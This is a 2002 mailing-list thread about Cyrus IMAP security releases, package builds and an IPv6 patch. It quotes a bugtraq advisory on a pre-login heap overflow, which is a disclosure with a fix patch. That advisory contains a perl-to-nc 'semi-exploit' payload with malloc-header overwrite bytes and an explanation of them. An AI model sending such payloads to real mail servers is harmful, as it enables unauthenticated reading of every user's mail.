cyrus-sasl-2.1.9-1.src.rpm will not rebuild on Redhat 8 this is the error: Remember to add `AC_PROG_LIBTOOL' to `configure.in'. You should update your `aclocal.m4' by running aclocal. Putting files in AC_CONFIG_AUX_DIR, `config'. + aclocal -I ./config -I ./cmulocal + automake -a include/Makefile.am: installing `config/depcomp' + autoheader WARNING: Using auxiliary files such as `acconfig.h', `config.h.bot' WARNING: and `config.h.top', to define templates for `config.h.in' WARNING: is deprecated and discouraged. WARNING: Using the third argument of `AC_DEFINE' and WARNING: `AC_DEFINE_UNQUOTED' allows to define a template without WARNING: `acconfig.h': WARNING: AC_DEFINE([NEED_MAIN], 1, WARNING: [Define if a function `main' is needed.]) WARNING: More sophisticated templates can also be produced, see the WARNING: documentation. autoheader: `config.h.in' is updated + autoconf configure.in:678: error: do not use LIBOBJS directly, use AC_LIBOBJ (see section `AC_LIBOBJ vs. LIBOBJS' error: Bad exit status from /var/tmp/rpm-tmp.29328 (%prep) RPM build errors: Bad exit status from /var/tmp/rpm-tmp.29328 (%prep) Harris On Thu, 2002-12-05 at 05:56, Simon Matter wrote: > Since this release is security related, allow me to announce here: > > Updated cyrus-imapd-2.1.11-1 RPMs are available from > > http://home.teleport.ch/simix/ > > rpm -Fvh ... is your friend. > > -Simon > > > Rob Siemborski schrieb: > > > > -BEGIN PGP SIGNED MESSAGE- > > Hash: SHA1 > > > > This is to announce the release of Cyrus IMAPd 2.0.17 and 2.1.11 on > > ftp.andrew.cmu.edu. > > > > These releases correct the pre-login buffer overflow vulnerabilities > > recently mentioned on bugtraq. > > > > All sites are encouraged to upgrade to atleast 2.0.17. > > > > The source is available at: > > > > ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz > > ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz > > or > > http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz > > http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz > > > > - -Rob > > > > - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > > Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 > > Research Systems Programmer * /usr/contributed Gatekeeper > > > > -BEGIN PGP SIGNATURE- > > Version: PGP 6.5.8 > > Comment: Made with pgp4pine 1.76 > > > > iQA/AwUBPe5cGWes8cJc4y/MEQLRKgCgqcPJqh97QWM9wxdtOGgcymPeSSYAoMn1 > > L2r2xAmPRdZp+/nPHpqroAyA > > =ShGy > > -END PGP SIGNATURE- -- Harris Landgarten <[EMAIL PROTECTED]>
Re: Cyrus 2.0.17 and 2.1.11 released
Harris Landgarten schrieb: > > cyrus-sasl-2.1.9-1.src.rpm will not rebuild on Redhat 8 Correct. As my website states, I don't provide cyrus sasl V2 RPMs for RedHat > 7.x because sasl V2 is now included in >= 8.0. If you really need version 2.1.9, you could try to upgrade the existing RPM. Simon > > this is the error: > > Remember to add `AC_PROG_LIBTOOL' to `configure.in'. > You should update your `aclocal.m4' by running aclocal. > Putting files in AC_CONFIG_AUX_DIR, `config'. > + aclocal -I ./config -I ./cmulocal > + automake -a > include/Makefile.am: installing `config/depcomp' > + autoheader > WARNING: Using auxiliary files such as `acconfig.h', `config.h.bot' > WARNING: and `config.h.top', to define templates for `config.h.in' > WARNING: is deprecated and discouraged. > > WARNING: Using the third argument of `AC_DEFINE' and > WARNING: `AC_DEFINE_UNQUOTED' allows to define a template without > WARNING: `acconfig.h': > > WARNING: AC_DEFINE([NEED_MAIN], 1, > WARNING: [Define if a function `main' is needed.]) > > WARNING: More sophisticated templates can also be produced, see the > WARNING: documentation. > autoheader: `config.h.in' is updated > + autoconf > configure.in:678: error: do not use LIBOBJS directly, use AC_LIBOBJ (see > section `AC_LIBOBJ > vs. LIBOBJS' > error: Bad exit status from /var/tmp/rpm-tmp.29328 (%prep) > > RPM build errors: > Bad exit status from /var/tmp/rpm-tmp.29328 (%prep) > > Harris > > On Thu, 2002-12-05 at 05:56, Simon Matter wrote: > > Since this release is security related, allow me to announce here: > > > > Updated cyrus-imapd-2.1.11-1 RPMs are available from > > > > http://home.teleport.ch/simix/ > > > > rpm -Fvh ... is your friend. > > > > -Simon > > > > > > Rob Siemborski schrieb: > > > > > > -BEGIN PGP SIGNED MESSAGE- > > > Hash: SHA1 > > > > > > This is to announce the release of Cyrus IMAPd 2.0.17 and 2.1.11 on > > > ftp.andrew.cmu.edu. > > > > > > These releases correct the pre-login buffer overflow vulnerabilities > > > recently mentioned on bugtraq. > > > > > > All sites are encouraged to upgrade to atleast 2.0.17. > > > > > > The source is available at: > > > > > > ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz > > > ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz > > > or > > > http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz > > > http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz > > > > > > - -Rob > > > > > > - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > > > Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 > > > Research Systems Programmer * /usr/contributed Gatekeeper > > > > > > -BEGIN PGP SIGNATURE- > > > Version: PGP 6.5.8 > > > Comment: Made with pgp4pine 1.76 > > > > > > iQA/AwUBPe5cGWes8cJc4y/MEQLRKgCgqcPJqh97QWM9wxdtOGgcymPeSSYAoMn1 > > > L2r2xAmPRdZp+/nPHpqroAyA > > > =ShGy > > > -END PGP SIGNATURE- > -- > Harris Landgarten <[EMAIL PROTECTED]>
Re: Cyrus 2.0.17 and 2.1.11 released
Updated Debian packages of 2.1.10 with all security patches are already available, since yesterday. 2.1.11 was uploaded to Debian unstable and will be installed today. I may backport 2.1.11 to Debian stable soon (or not), since ALL the security fixes have been already backported to 2.1.10-5.woody0, and made available the day before yesterday anyway. -- "One disk to rule them all, One disk to find them. One disk to bring them all and in the darkness grind them. In the Land of Redmond where the shadows lie." -- The Silicon Valley Tarot Henrique Holschuh msg09700/pgp0.pgp Description: PGP signature
Re: Buffer overflow in Cyrus IMAP ?
If you care enough to post this question to the list, then you _should_
care enough to be subscribed to the list. If you are, then you should
have seen that new distros which fix the problem were released
yesterday.
Torge Szczepanek wrote:
>
> Hi!
>
> There was a posting on the bugtraq mailing list concerning a buffer
> overflow in Cyrus IMAP server.
>
> Can somebody confirm this?
>
> Date: Mon, 2 Dec 2002 19:56:06 +0200
> From: Timo Sirainen <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Subject: pre-login buffer overflow in Cyrus IMAP server
> Message-ID: <[EMAIL PROTECTED]>
> Mime-Version: 1.0
> Content-Disposition: inline
> User-Agent: Mutt/1.4i
> Content-Type: text/plain; charset=us-ascii
>
> problem
> ---
>
> Cyrus IMAP server has a a remotely exploitable pre-login buffer
> overflow. I
> checked versions 1.4 (oldest in web page) and 2.1.10 which both had it,
> so
> apparently all versions are affected.
>
> Problem is that literal lengths aren't verified to be in any reasonable
> range. The length + 2 is then malloc()ed and later written into. So
> given
> length of 2^32-1, we get malloc(1) call but ability to write 2^32-1
> bytes
> there.
>
> Note that you don't have to log in before exploiting this, and since
> Cyrus
> runs everything under one UID, it's possible to read every user's mail
> in
> the system.
>
> I verified that this is exploitable with GLIBC 2.3.1. Probably possible
> with older glibcs as well although they had somewhat different malloc()
> code. No idea about other libcs, BSD ones look safe. There could be of
> course other ways to exploit it than just malloc headers.
>
> (BTW. Why is it that glibc's malloc implementation is almost begging to
> be
> exploited? I don't think it would be that difficult to create safer
> implementation with internal structures in separate memory pages,
> possibly
> even separated with non-writable page(s) between. Could even be faster
> because of better CPU cache utilization, and maybe made to take less
> memory.)
>
> There's several other malloc/integer related problems where it's
> possible
> to read over 2GB strings from clients into memory accessing it with
> signed
> integers, finally wrapping into -2^31. That's probably not too bad since
> it
> can work only with >2GB process limits (only 64bit architectures I'd
> think)
> and even then it would quite likely access only unmapped memory.
>
> Authors were first contacted 30. October, I think it's way past the fix
> time.
>
> semi-exploit
>
>
> perl -e 'print "x login
>
>{4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc
> localhost imap2
>
>
> The first 4 bytes specify the address where you want to write to in
> memory
> and the next 4 bytes is the data to be written there (must be a readable
> memory address). Rest of the bytes are overwriting prev_size and size in
> malloc header. The above values work with cyrus21 package in Debian
> unstable/x86. gdb verifies that the call was successful:
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xbfffef90 in ?? ()
> (gdb) bt
> #0 0xbfffef90 in ?? ()
> #1 0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
> #2 0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
> #3 0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2
>
> Shouldn't be too hard to come up with a real exploit from there on.
>
> You also need to make one "x logout\n" connection first to trigger the
> exploit (Cyrus reuses the processes).
>
> fix
> ---
>
> Apply the included patch and set some reasonable ulimits to make sure
> the
> other integer overflows won't hit you in future.
>
> diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c
> cyrus-imapd-2.1.10/imap/imapparse.c
> --- cyrus-imapd-2.1.10-old/imap/imapparse.c 2002-06-24
> 21:58:41.0 +0300
> +++ cyrus-imapd-2.1.10/imap/imapparse.c 2002-11-29 00:20:44.0
> +0200
> @@ -97,7 +97,7 @@
>struct buf *buf, int type)
> {
> int c;
> -int i;
> +unsigned int i;
> unsigned int len = 0;
> int sawdigit = 0;
> int isnowait;
> @@ -228,6 +228,16 @@
> if (c != EOF) prot_ungetc(c, pin);
> return EOF;
> }
> + if (len > 65536) {
> + if (isnowait) {
> + for (i = 0; i < len; i++)
> + c = prot_getc(pin);
> + }
> + prot_printf(pout, "* BAD Literal too large\r\n");
> + prot_flush(pout);
> + if (c != EOF) prot_ungetc(c, pin);
> + return EOF;
> + }
> if (len >= buf->alloc) {
> buf->alloc = len+1;
> buf->s = xrealloc(buf->s, buf->alloc+1);
>
> --
> Torge Szczepanek <[EMAIL PROTECTED]>
--
Kenneth Murchison Oceana Matrix Ltd.
Software Engineer 21 Princeton Place
716-662-8973 x26 Orchard Park, NY 14127
--PGP Public Key--http://www.oceana.com/~ken/ksm.pgp
Re: Cyrus 2.0.17 and 2.1.11 released
Hi,
>>>>> On Wed, 4 Dec 2002 14:48:37 -0500 (EST)
>>>>> Rob Siemborski <[EMAIL PROTECTED]> said:
rjs3> This is to announce the release of Cyrus IMAPd 2.0.17 and 2.1.11 on
rjs3> ftp.andrew.cmu.edu.
Now, IPv6 patch are available from:
http://www.imasy.or.jp/~ume/ipv6/cyrus-imapd-2.0.17-ipv6-20021205.diff.gz
http://www.imasy.or.jp/~ume/ipv6/cyrus-imapd-2.1.11-ipv6-20021205.diff.gz
Sincerely,
--
Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan
[EMAIL PROTECTED] [EMAIL PROTECTED] ume@{,jp.}FreeBSD.org
http://www.imasy.org/~ume/
Buffer overflow in Cyrus IMAP ?
Hi!
There was a posting on the bugtraq mailing list concerning a buffer
overflow in Cyrus IMAP server.
Can somebody confirm this?
Date: Mon, 2 Dec 2002 19:56:06 +0200
From: Timo Sirainen <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: pre-login buffer overflow in Cyrus IMAP server
Message-ID: <[EMAIL PROTECTED]>
Mime-Version: 1.0
Content-Disposition: inline
User-Agent: Mutt/1.4i
Content-Type: text/plain; charset=us-ascii
problem
---
Cyrus IMAP server has a a remotely exploitable pre-login buffer
overflow. I
checked versions 1.4 (oldest in web page) and 2.1.10 which both had it,
so
apparently all versions are affected.
Problem is that literal lengths aren't verified to be in any reasonable
range. The length + 2 is then malloc()ed and later written into. So
given
length of 2^32-1, we get malloc(1) call but ability to write 2^32-1
bytes
there.
Note that you don't have to log in before exploiting this, and since
Cyrus
runs everything under one UID, it's possible to read every user's mail
in
the system.
I verified that this is exploitable with GLIBC 2.3.1. Probably possible
with older glibcs as well although they had somewhat different malloc()
code. No idea about other libcs, BSD ones look safe. There could be of
course other ways to exploit it than just malloc headers.
(BTW. Why is it that glibc's malloc implementation is almost begging to
be
exploited? I don't think it would be that difficult to create safer
implementation with internal structures in separate memory pages,
possibly
even separated with non-writable page(s) between. Could even be faster
because of better CPU cache utilization, and maybe made to take less
memory.)
There's several other malloc/integer related problems where it's
possible
to read over 2GB strings from clients into memory accessing it with
signed
integers, finally wrapping into -2^31. That's probably not too bad since
it
can work only with >2GB process limits (only 64bit architectures I'd
think)
and even then it would quite likely access only unmapped memory.
Authors were first contacted 30. October, I think it's way past the fix
time.
semi-exploit
perl -e 'print "x login
{4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc
localhost imap2
The first 4 bytes specify the address where you want to write to in
memory
and the next 4 bytes is the data to be written there (must be a readable
memory address). Rest of the bytes are overwriting prev_size and size in
malloc header. The above values work with cyrus21 package in Debian
unstable/x86. gdb verifies that the call was successful:
Program received signal SIGSEGV, Segmentation fault.
0xbfffef90 in ?? ()
(gdb) bt
#0 0xbfffef90 in ?? ()
#1 0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
#2 0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
#3 0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2
Shouldn't be too hard to come up with a real exploit from there on.
You also need to make one "x logout\n" connection first to trigger the
exploit (Cyrus reuses the processes).
fix
---
Apply the included patch and set some reasonable ulimits to make sure
the
other integer overflows won't hit you in future.
diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c
cyrus-imapd-2.1.10/imap/imapparse.c
--- cyrus-imapd-2.1.10-old/imap/imapparse.c 2002-06-24
21:58:41.0 +0300
+++ cyrus-imapd-2.1.10/imap/imapparse.c 2002-11-29 00:20:44.0
+0200
@@ -97,7 +97,7 @@
struct buf *buf, int type)
{
int c;
-int i;
+unsigned int i;
unsigned int len = 0;
int sawdigit = 0;
int isnowait;
@@ -228,6 +228,16 @@
if (c != EOF) prot_ungetc(c, pin);
return EOF;
}
+ if (len > 65536) {
+ if (isnowait) {
+ for (i = 0; i < len; i++)
+ c = prot_getc(pin);
+ }
+ prot_printf(pout, "* BAD Literal too large\r\n");
+ prot_flush(pout);
+ if (c != EOF) prot_ungetc(c, pin);
+ return EOF;
+ }
if (len >= buf->alloc) {
buf->alloc = len+1;
buf->s = xrealloc(buf->s, buf->alloc+1);
--
Torge Szczepanek <[EMAIL PROTECTED]>
Re: Cyrus 2.0.17 and 2.1.11 released
Since this release is security related, allow me to announce here: Updated cyrus-imapd-2.1.11-1 RPMs are available from http://home.teleport.ch/simix/ rpm -Fvh ... is your friend. -Simon Rob Siemborski schrieb: > > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > This is to announce the release of Cyrus IMAPd 2.0.17 and 2.1.11 on > ftp.andrew.cmu.edu. > > These releases correct the pre-login buffer overflow vulnerabilities > recently mentioned on bugtraq. > > All sites are encouraged to upgrade to atleast 2.0.17. > > The source is available at: > > ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz > ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz > or > http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz > http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz > > - -Rob > > - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 > Research Systems Programmer * /usr/contributed Gatekeeper > > -BEGIN PGP SIGNATURE- > Version: PGP 6.5.8 > Comment: Made with pgp4pine 1.76 > > iQA/AwUBPe5cGWes8cJc4y/MEQLRKgCgqcPJqh97QWM9wxdtOGgcymPeSSYAoMn1 > L2r2xAmPRdZp+/nPHpqroAyA > =ShGy > -END PGP SIGNATURE-
